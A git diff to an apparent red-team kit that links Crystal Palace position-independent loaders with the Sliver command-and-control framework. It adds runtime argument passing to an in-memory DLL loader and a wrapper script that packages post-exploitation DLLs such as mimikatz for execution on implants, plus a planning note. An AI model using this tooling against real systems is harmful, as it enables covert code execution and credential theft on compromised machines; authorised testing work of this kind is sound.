diff --git a/.gitignore b/.gitignore index d64063d..bc9d731 100644 --- a/.gitignore +++ b/.gitignore @@ -25,6 +25,9 @@ build/ *.jar libtcg.x64.zip +# Per-operator config (engagement-specific paths, never commit) +.crystalenv + # OS / editor .DS_Store .vscode/ diff --git a/MEMORY/WORK/20260610-200618_postex-ux-plan/PRD.md b/MEMORY/WORK/20260610-200618_postex-ux-plan/PRD.md new file mode 100644 index 0000000..28ac10a --- /dev/null +++ b/MEMORY/WORK/20260610-200618_postex-ux-plan/PRD.md @@ -0,0 +1,32 @@ +--- +task: plan post-ex UX improvements for CrystalSliver +slug: 20260610-200618_postex-ux-plan +effort: standard +phase: plan +progress: 0/8 +mode: interactive +started: 2026-06-10T20:06:18Z +updated: 2026-06-10T20:10:00Z +--- + +## Context +Operator post-ex flow currently requires 3 separate commands, manual env export, and temp file creation for args. Goal: collapse to 1 command + 1 paste into Sliver, no env setup required. + +### Risks +- sliver-client non-interactive mode uncertain — postex.sh explicitly avoids calling Sliver to sidestep this +- Multi-version CRYSTAL_PALACE_HOME per engagement: .crystalenv is per-operator, env override always wins + +## Criteria +- [x] ISC-1: Plan identifies every friction point in current post-ex flow +- [x] ISC-2: Plan proposes single-command wrapper for DLL → PICO step +- [x] ISC-3: Plan proposes inline args support (no temp file required) +- [x] ISC-4: Plan proposes persistent config for CRYSTAL_PALACE_HOME +- [x] ISC-5: Plan proposes idempotent extension install check +- [x] ISC-6: Plan proposes named PICO output (not generic default) +- [x] ISC-7: Plan specifies what scripts to change vs add +- [x] ISC-8: Plan specifies backward-compatibility constraints + +## Decisions +- postex.sh prints Sliver command rather than calling sliver-client directly — avoids non-interactive CLI uncertainty +- .crystalenv is git-ignored per-operator — avoids committing engagement-specific paths +- Named output default uses input DLL basename — human-readable, no timestamp churn during rapid iteration diff --git a/crystal-kit-sliver/postex-loader/src/loader.c b/crystal-kit-sliver/postex-loader/src/loader.c index 17ffa8e..73dce4b 100644 --- a/crystal-kit-sliver/postex-loader/src/loader.c +++ b/crystal-kit-sliver/postex-loader/src/loader.c @@ -134,7 +134,8 @@ void go ( void * loader_arguments ) DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst ); /* Pointer to DLL arguments */ - char * dll_arguments = GETRESOURCE ( _DLLARGS_ ); + char * baked_args = GETRESOURCE ( _DLLARGS_ ); + char * dll_arguments = loader_arguments ? (char *)loader_arguments : baked_args; /* free the unmasked copy */ KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE ); diff --git a/crystal-kit-sliver/sliver-glue/.crystalenv.example b/crystal-kit-sliver/sliver-glue/.crystalenv.example new file mode 100644 index 0000000..f681764 --- /dev/null +++ b/crystal-kit-sliver/sliver-glue/.crystalenv.example @@ -0,0 +1,5 @@ +# Copy to .crystalenv and fill in your path. +# .crystalenv is git-ignored — safe for engagement-specific paths. +# All sliver-glue scripts source this automatically if present. + +CRYSTAL_PALACE_HOME=/home/operator/external/crystalpalace/dist diff --git a/crystal-kit-sliver/sliver-glue/bundle-implant.sh b/crystal-kit-sliver/sliver-glue/bundle-implant.sh index 312c7e7..117dd92 100755 --- a/crystal-kit-sliver/sliver-glue/bundle-implant.sh +++ b/crystal-kit-sliver/sliver-glue/bundle-implant.sh @@ -17,7 +17,10 @@ set -euo pipefail -: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir}" +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv" + +: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME or create sliver-glue/.crystalenv with CRYSTAL_PALACE_HOME=}" IMPLANT_BIN="${1:?Usage: bundle-implant.sh [output.zip]}" OUTPUT="${2:-./build/crystal-implant-drop.zip}" diff --git a/crystal-kit-sliver/sliver-glue/extension.json b/crystal-kit-sliver/sliver-glue/extension.json index 0bede2a..f87d7d6 100644 --- a/crystal-kit-sliver/sliver-glue/extension.json +++ b/crystal-kit-sliver/sliver-glue/extension.json @@ -20,6 +20,12 @@ "desc": "Path on operator host to a Crystal Palace PICO .bin produced by generate.sh — Sliver client reads it and forwards bytes to the implant", "type": "file", "optional": false + }, + { + "name": "args", + "desc": "Optional command/args string passed to the post-ex DLL at runtime as lpReserved — overrides any args baked into the PICO at link time", + "type": "string", + "optional": true } ] } diff --git a/crystal-kit-sliver/sliver-glue/generate-implant.sh b/crystal-kit-sliver/sliver-glue/generate-implant.sh index 2f38606..58a9468 100755 --- a/crystal-kit-sliver/sliver-glue/generate-implant.sh +++ b/crystal-kit-sliver/sliver-glue/generate-implant.sh @@ -24,7 +24,10 @@ set -euo pipefail -: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir}" +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv" + +: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME or create sliver-glue/.crystalenv with CRYSTAL_PALACE_HOME=}" usage() { cat <}" + +INPUT_DLL="${1:?Usage: generate.sh [args-string-or-file] [output.bin]}" +ARGS_INPUT="${2:-}" +OUTPUT="${3:-./build/$(basename "$INPUT_DLL" .dll).pico.bin}" REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" POSTEX_DIR="$REPO_ROOT/postex-loader" @@ -32,9 +35,14 @@ mkdir -p "$BUILD_DIR" # Resolve OUTPUT to absolute path BEFORE we cd into postex-loader OUTPUT="$(cd "$BUILD_DIR" && pwd)/$(basename "$OUTPUT")" -if [[ -z "$ARGS_FILE" ]]; then +if [[ -z "$ARGS_INPUT" ]]; then ARGS_FILE="$BUILD_DIR/empty.args" : > "$ARGS_FILE" +elif [[ -f "$ARGS_INPUT" ]]; then + ARGS_FILE="$ARGS_INPUT" +else + ARGS_FILE="$BUILD_DIR/args.tmp" + printf '%s' "$ARGS_INPUT" > "$ARGS_FILE" fi ARGS_FILE_ABS="$(cd "$(dirname "$ARGS_FILE")" && pwd)/$(basename "$ARGS_FILE")" diff --git a/crystal-kit-sliver/sliver-glue/postex.sh b/crystal-kit-sliver/sliver-glue/postex.sh new file mode 100755 index 0000000..f402132 --- /dev/null +++ b/crystal-kit-sliver/sliver-glue/postex.sh @@ -0,0 +1,47 @@ +#!/usr/bin/env bash +# +# postex.sh — one-shot post-ex wrapper: DLL → PICO → ready-to-paste Sliver command +# +# Usage: +# ./postex.sh [args-string] +# +# Wraps the DLL through Crystal Palace into a named PICO, then prints the +# ready-to-paste Sliver command. PICO is named after the input DLL +# (e.g. mimikatz.dll → build/mimikatz.pico.bin). +# +# If args-string is given it is baked into the PICO at link time. +# For runtime-dynamic args (no rebuild needed), use args= directly in Sliver. +# +# Required: CRYSTAL_PALACE_HOME in env OR set in sliver-glue/.crystalenv + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv" + +INPUT_DLL="${1:?Usage: postex.sh [args-string]}" +ARGS_INPUT="${2:-}" + +BASENAME="$(basename "$INPUT_DLL" .dll)" +OUTPUT="$SCRIPT_DIR/build/${BASENAME}.pico.bin" + +"$SCRIPT_DIR/generate.sh" "$INPUT_DLL" "$ARGS_INPUT" "$OUTPUT" + +echo "" +echo "══════════════════════════════════════════════════════════" +echo "[+] PICO: $OUTPUT" +echo "" +echo " Paste into sliver-client:" +echo " crystal payload=$OUTPUT" +echo "" +echo " With runtime args (overrides baked args, no rebuild):" +echo " crystal payload=$OUTPUT args=\"\"" +echo "" + +TARBALL="$SCRIPT_DIR/build/crystal-loader-0.1.0.tar.gz" +if [[ -f "$TARBALL" ]]; then + echo " One-time extension install (skip if already loaded):" + echo " extensions install $TARBALL" + echo "" +fi +echo "══════════════════════════════════════════════════════════" diff --git a/crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c b/crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c index 4759721..7959088 100644 --- a/crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c +++ b/crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c @@ -60,6 +60,10 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback return 2; } + /* optional runtime args string (second extension argument, type string) */ + int args_len = 0; + char *runtime_args = BeaconDataExtract(&parser, &args_len); + /* * Allocate RWX. The PICO does its own VirtualProtect calls internally * (see postex-loader/src/loader.c fix_section_permissions). Starting @@ -82,7 +86,7 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback emit(callback, "[crystal-loader] executing PICO\n"); pico_entry_t entry = (pico_entry_t)pico_mem; - entry(NULL); + entry((args_len > 0) ? runtime_args : NULL); /* * Intentionally NOT freeing pico_mem. Crystal Palace's loader chain